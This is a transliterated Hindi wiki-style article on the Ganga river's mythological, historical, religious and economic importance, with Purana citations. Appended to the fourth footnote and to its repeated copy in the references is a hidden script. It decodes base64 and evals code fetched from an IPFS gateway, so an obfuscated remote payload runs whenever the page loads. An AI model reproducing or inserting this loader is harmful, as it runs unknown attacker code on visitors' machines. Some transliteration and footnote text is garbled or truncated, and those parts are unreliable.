गंगा का महत्त्व

ganga vishay soochi

ganga namakaran visheshataean bhaugolik vistar sahayak nadiyaan mahattv sahityik ullekh

[[chitr:Ganga-Varanasi.jpg|thumb|250px|varanasi mean ganga nadi ke ghat
Ghats of Ganga River in Varanasi]] ganga bharat ki sabase mahattvapoorn nadiyoan mean se ek hai. yah uttar bharat ke maidanoan ki vishal nadi hai. ganga bharat aur baangladesh mean milakar 2,510 kilomitar ki doori tay karati hai. uttaraanchal mean himalay se nikalakar yah bharat ke lagabhag ek-chauthaee bhoo-kshetr ko pravahit hoti huee bangal ki kha di mean milati hai. ganga nadi ko uttar bharat ki arthavyavastha ka merudand bhi kaha gaya hai.

pauranik mahattv

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ganga nadi ke sath anek pauranik kathaean ju di huee haian. kuchh puranoan ne ganga ko mandakini ke roop mean svarg mean, ganga ke roop mean prithvi par aur bhogavati ke roop mean patal mean pravahit hote hue varnit kiya hai.^[1] vishnu adi puranoan ne ganga ko vishnu ke bayean pair ke aangoothe ke nakh se pravahit mana hai.^[2] kuchh puranoan mean aisa aya hai ki shiv ne apani jata se ganga ko sat dharaoan mean parivartit kar diya, jinamean tin (nalini, hladini evan pavani) poorv ki or, tin (sita, chakshus evan sindhu) pashchim ki or pravahit huee aur satavian dhara bhagirathi huee (matsy puran 121|38-41; brahmand puran 2|18|39-41 evan 1|3|65-66). koorm puran (1|46|30-31) evan varah puran (adhyay 82, gady mean) ka kathan hai ki ganga sarvapratham sita, alakananda, suchaksh evan bhadra namak char vibhinn dharaoan mean bahati hai. alakananda dakshin ki or bahati hai, bharatavarsh ki or ati hai aur saptamukhoan mean hokar samudr mean girati hai.^[3] brahmand puran (73|68-69) mean ganga ko vishnu ke paanv se evan shiv ke jatajoot mean avasthit mana gaya hai. [[chitr:Ganga-River-Varanasi-2.jpg|thumb|250px|ganga nadi, varanasi
Ganga River, Varanasi|left]]

aitihasik mahattv

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aitihasik roop se ganga ke maidan se hi hindustan ka hriday sthal nirmit hai aur vahi bad mean ane vali vibhinn sabhyataoan ka palana bana. ashok ke ee. poo. ke samrajy ka kendr pataliputr (patana), bihar mean ganga ke tat par basa hua tha. mahanh mugal samrajy ke kendr dilli aur agara bhi ganga ke besin ki pashchimi simaoan par sthit the. satavian sadi ke madhy mean kanapur ke uttar mean ganga tat par sthit kannauj, jisamean adhikaansh uttari bharat ata tha, harsh ke samantakalin samrajy ka kendr tha. muslim kal ke dauran, yani 12vian sadi se musalamanoan ka shasan n keval maidan, balki bangal tak phaila hua tha. delta kshetr ke dhaka aur murshidabad muslim satta ke kendr the. aangrezoan ne 17vian sadi ke uttarardh mean hugali ke tat par kalakatta (vartaman kolakata) ki sthapana karane ke bad dhire-dhire apane pair ganga ki ghati mean phailae aur 19vian sadi ke madhy mean dilli tak ja pahuanche.

dharmik mahattv

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bharat ki anek dharmik avadharanaoan mean ganga nadi ko devi ke roop mean nirupit kiya gaya hai. bahut se pavitr tirthasthal ganga nadi ke kinare par base huye haian jinamean varanasi aur haridvar sabase pramukh haian. ganga nadi ko bharat ki pavitr nadiyoan mean sabase pavitr mana jata hai evan yah manyata hai ki ganga mean snan karane se manushy ke sare papoan ka nash ho jata hai.^[4] marane ke bad log ganga mean apani rakh visarjit karana moksh prapti ke liye avashyak samajhate haian, yahaan tak ki kuchh log ganga ke kinare hi pran visarjan ya aantim sanskar ki ichchha bhi rakhate haian. isake ghatoan par log pooja archana karate haian aur dhyan lagate haian. gangajal ko pavitr samajha jata hai tatha samast sanskaroan mean usaka hona avashyak hai. panchamrit mean bhi gangajal ko ek amrit mana gaya hai. [[chitr:Kumbh mela.jpg|thumb|280px||right|kumbh mela, ilahabad
Kumb Fair, Allahabad]]

arthik mahattv

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ganga apani upatyakaoan mean bharat aur baangladesh ke krishi adharit arth mean bhari sahayog to karati hi hai, yah apani sahayak nadiyoan sahit bahut b de kshetr ke lie sianchaee ke barahamasi srot bhi haian. in kshetroan mean ugaee jane vali pradhan upaj mean mukhyatah dhan, ganna, dal, tilahan, aloo evan gehooan haian. jo bharat ki krishi aj ka mahattvapoorn srot haian. ganga ke tatiy kshetroan mean daladal evan jhiloan ke karan yahaan legyoom, mirch, sarasoan, til, ganna aur joot ki achchhi fasal hoti hai. nadi mean matsy udyog bhi bahut zoroan par chalata hai. ganga nadi pranali bharat ki sabase b di nadi pranali hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ padm puran 6|267|47
↑ vamapadambujaangushthanakhasrotovinirgatamh. vishnorbabharti yaan bhaktya shirasahanianshan dhruv:.. vishnu puran (2|8|109); kalpataru (tirth, prishth 161) ne ‘shiv:’ pathantar diya hai. ‘nadi sa vaishnavi prokta vishnupadasamudabhava.’ padm puran (5|25|188).
↑ tathaivalakananda ch dakshinadety bharatamh. prayati sagaran bhittva saptabheda dvijottam:.. koorm puran (1|46|31).
↑ bharat ki mukhy nadiyaan hindi blag. abhigaman tithi: 21 joon, 2009.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] uran 6|267|47

[2] vamapadambujaangushthanakhasrotovinirgatamh. vishnorbabharti yaan bhaktya shirasahanianshan dhruv:.. vishnu puran (2|8|109); kalpataru (tirth, prishth 161) ne ‘shiv:’ pathantar diya hai. ‘nadi sa vaishnavi prokta vishnupadasamudabhava.’ padm puran (5|25|188).

[3] tathaivalakananda ch dakshinadety bharatamh. prayati sagaran bhittva saptabheda dvijottam:.. koorm puran (1|46|31).

[4] rat ki mukhy nadiyaan hindi blag. abhigaman tithi: 21 joon, 2009.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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